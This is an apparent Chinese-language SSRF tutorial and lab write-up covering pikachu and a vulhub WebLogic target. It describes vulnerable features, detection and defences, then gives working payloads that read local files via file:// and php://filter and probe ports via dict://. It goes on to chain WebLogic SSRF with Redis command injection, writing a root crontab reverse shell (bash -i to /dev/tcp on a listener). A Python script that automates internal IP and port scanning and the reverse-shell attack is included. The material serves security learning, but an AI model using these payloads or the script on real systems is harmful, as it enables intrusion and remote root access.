SSRF( Server-side Request Forgery )服务端请求伪造。 很多web应用都提供了从其他的服务器上获取数据的功能。使用用户指定的URL,web应用可以获取图片,下载文件,读取文件内容等。这个功能如果被恶意使用,没有对目标地址做严格过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。
数据流:攻击者----->服务器---->目标地址
1.社交分享功能:获取超链接的标题等内容进行显示
2.转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
3.在线翻译:给网址翻译对应网页的内容
4.图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片
5.图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验
6.云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试
7.网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作
8.数据库内置功能:数据库的比如mongodb的copyDatabase函数
9.邮件系统:比如接收邮件服务器地址
10.编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等
11.未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞
一些的url中的关键字:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……
12.从远程服务器请求资源(upload from url 如discuz!;import & expost rss feed 如web blog;使用了xml引擎对象的地方 如wordpress xmlrpc.php)
SSRF经常利用的一些协议:
1.排除法:浏览器f12查看源代码看是否是在本地进行了请求
比如:该资源地址类型为 http://www.xxx.com/a.php?image=(地址)的就可能存在SSRF漏洞
2.dnslog等工具进行测试,看是否被访问
–可以在盲打后台用例中将当前准备请求的uri 和参数编码成base64,这样盲打后台解码后就知道是哪台机器哪个cgi触发的请求。
3.抓包分析发送的请求是不是由服务器的发送的,如果不是客户端发出的请求,则有可能是,接着找存在HTTP服务的内网地址
–从漏洞平台中的历史漏洞寻找泄漏的存在web应用内网地址
–通过二级域名暴力猜解工具模糊猜测内网地址
4.直接返回的Banner、title、content等信息
5.留意bool型SSRF
1.可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息;
2.攻击运行在内网或本地的应用程序(比如溢出);
3.对内网web应用进行指纹识别,通过访问默认文件实现;
4.攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2,sqli 等);
5.利用file协议读取本地文件等。
有些网站可能会限制访问的IP,此时可以通过下面的方式进行绕过:
如果网站限制了使用URL,可以尝试下面的方法绕过:
1、禁用不需要的协议(如:file:///、gopher://,dict://等)。仅仅允许http和https请求;
2、统一错误信息,防止根据错误信息判断端口状态;
3、禁止302跳转,或每次跳转,都检查新的Host是否是内网IP,直到抵达最后的网址;
4、设置URL白名单或者限制内网IP;
5、过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
这个靶场的ssrf是有两关。
在开始之前可以先了解curlhttps://www.runoob.com/php/php-ref-curl.html,我们要知道curl支持很多协议(http、https、ftp、gopher、telnet、dict、file和ldap协议),这些协议也是下面构造payload所需要利用。
点进第一关,可以看到上面有个链接可以点击。
点进去可以看到传递了参数url,值为http请求服务器的文件地址(这里由于链接默认点击请求的是服务器的80端口,但是我本机开放的88端口所以需要更改)
竟然清楚传递的url参数,可以直接请求服务器地址,接下来利用curl支持的多种协议来探测服务器内网信息:
上面可以看到是利用http请求本地服务器的info1.php文件,这里还可以利用file协议查看本地文件:
payload
?url=file:///c:/windows/win.ini
可以查看文件c:/windows/win.ini,它是每个windows系统都有的:
首先需要一台ftp服务器,这里使用另一台主机192.168.0.11(本机:192.168.0.1)去创建一个ftp服务(wftpd32),用户名密码都设置为wftp,然后再ftp目录下新建一个ssrf.txt文件:
payload
?url=ftp://wftp:[email protected]/ssrf.txt
可以看到成功读到内网ftp服务器上的ssrf.txt文件内容
使用dict协议可以获取内网主机开放端口相应服务的指纹信息,这里探测的目标主机仍是192.168.0.11,先看一下开放的端口:
payload
?url=dict://192.168.0.11:21
可以看到21端口的服务信息都显示出来了,而22端口没开放就啥都没显示。接受下来,利用bp进行端口扫描。先将刚刚利用的payload抓包,然后send to intruder,设置载荷:
可以看到成功扫出了21端口,至于135和445这两个端口是扫不出来(不知道原因)
根据关卡名字,可以看到会利用file_get_content函数,上面概述中有介绍这个函数的作用是把整个文件读入一个字符串中,这篇文章有介绍这个函数和curl的区别:https://www.jianshu.com/p/39acc2d9ab4a
先来到关卡界面和第一关一样
发现这里的参数变成了file后面接的只依旧是http请求文件地址。
payload
?file=file:///c:/windows/win.ini
可以看到执行结果和刚刚一样。
php伪协议中有个读php源代码的php://filter/
payload
?file=php://filter/read=convert.base64-encode/resource=../../../phpinfo.php
我这里是直接回到服务器根目录读取里面的phpinfo.php
这里读出来的结果经过base64加密了的,所以需要解https://base64.us/
为了方便,直接在刚刚利用python在主机192.168.0.1的桌面开启一个http服务:
python3 -m http.server 80
php高版本好像这个函数不支持ftp、dict和ghoper
使用vulhub-master/weblogic/ssrf
vulhub靶场搭建教程
docker-compose build
docker-compose up -d
访问
http://192.168.0.20:7001/uddiexplorer/SearchPublicRegistries.jsp
payload
?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1
请求http服务不存在,回显信息如上,就证明漏洞存在。
weblogic的ssrf探测回显信息如下:
ip端口探测主要分三种情况:
当然也可以使用bp进行爆破ip和端口,操作和前文pikachu靶场类似:
可以看到11主机和网关,但请求超时了,11主机是打开的,不知道为啥会超时(刚刚还探测到11的21端口开放,可能是windows的原因),继续看可以发现能扫出192.168.0.10、20主机的(10是kali,20是靶机ubontu所在ip)
爆破端口和ip一样的方式,当然也可以同时爆破,这里不做演示:
docker exec -it ssrf_redis_1 ip addr
payload
?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.19.0.2:6379
发送四条redis命令,将shell脚本写入/etc/crontab
#写入文件名,这里我叫stest
#set xx "\n* * * * * bash -i >& /dev/tcp/反弹shell的ip地址/监听端口 0>&1\n"
test
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.0.10/4444 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
aaa
Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。注意这里需要使用URL编码,因为是GET请求
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.0.10%2F4444%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
拼接payload
http://192.168.0.20:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.21.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.0.10%2F4444%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
在kali上使用nc进行监听
nc -lvnp 4444
根据前面探测ip和端口不同的返回提示可以写个简单的python脚本来爆破ip和端口,以下是我根据返回结果写的一个简单脚本:
import requests
import threading
import time
def scan_ip(ip):
url = "http://{weblogic_ip}:7001//uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://{ip}".format(weblogic_ip=weblogic_ip,ip=ip)
r = requests.get(url)
if "route to host" not in str(r.content):
print(str(ip)+"---------- is OK")
# else:
# print(str(ip) + "---------- is down")
def get_ip(ip):
pre_ip = (ip.split('.')[:-1])
print('扫描网段:'+'.'.join(pre_ip) + '.' + '1/24\n')
for i in range(1, 255):
add = ('.'.join(pre_ip) + '.' + str(i))
#scan_ip(add)
threading._start_new_thread(scan_ip, (add,))
time.sleep(0.1)
print("\n-------扫描结束-------")
def scan_port(ip,port):
url = "http://{weblogic_ip}:7001//uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://{ip}:{port}".format(weblogic_ip=weblogic_ip,ip=ip,port=port)
r = requests.get(url)
if "Tried all" not in str(r.content):
print(str(port) + "---------- is open")
# else:
# print(str(port) + "---------- is inexit")
def get_port(ip):
print(ip+"--开放端口:\n")
for i in range(1, 10000):
scan_port(ip,i)
# threading._start_new_thread(scan_port, (ip,i,))
# time.sleep(0.1)
print("\n-------扫描结束-------")
def redis_shell(redis_ip,reverse_shell_ip,reverse_shell_port):
url = "http://{weblogic_ip}:7001//uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://{redis_ip}:6379/".format(weblogic_ip=weblogic_ip,redis_ip=redis_ip)
payload = "test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F{reverse_shell_ip}%2F{reverse_shell_port}%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa".format(reverse_shell_ip=reverse_shell_ip,reverse_shell_port=reverse_shell_port)
url_payload = url + payload
print(url_payload)
r = requests.get(url_payload)
if "Received a response from url" in str(r.content):
print("redis命令发送成功!!!!!!!!\n请耐心等待监听,可能有点慢!!!!")
else:
print("redis命令发送失败!!!!!!!!")
if __name__ == '__main__':
# 靶机地址
weblogic_ip = "192.168.0.20"
ip ="192.168.0.2"
#扫描ip网段存活ip
#get_ip(ip)
#扫描ip开放的端口
#get_port(ip)
#redis主机ip地址
redis_ip = '172.22.0.2'
#反弹shell的ip地址/监听端口
reverse_shell_ip = '192.168.0.10'
reverse_shell_port = '5555'
#redis_shell(redis_ip,reverse_shell_ip,reverse_shell_port)
如需使用上面脚本,一些参数地址请自行更改:
扫描内网ip(超时ip扫不出来):
发送redis命令反弹shell(需更改上面的redis地址和反弹shell的ip监听端口):
可以看到上面扫描结果还是很准确的。
参考文章:
https://xz.aliyun.com/t/2115#toc-2
https://blog.csdn.net/elephantxiang/article/details/115577034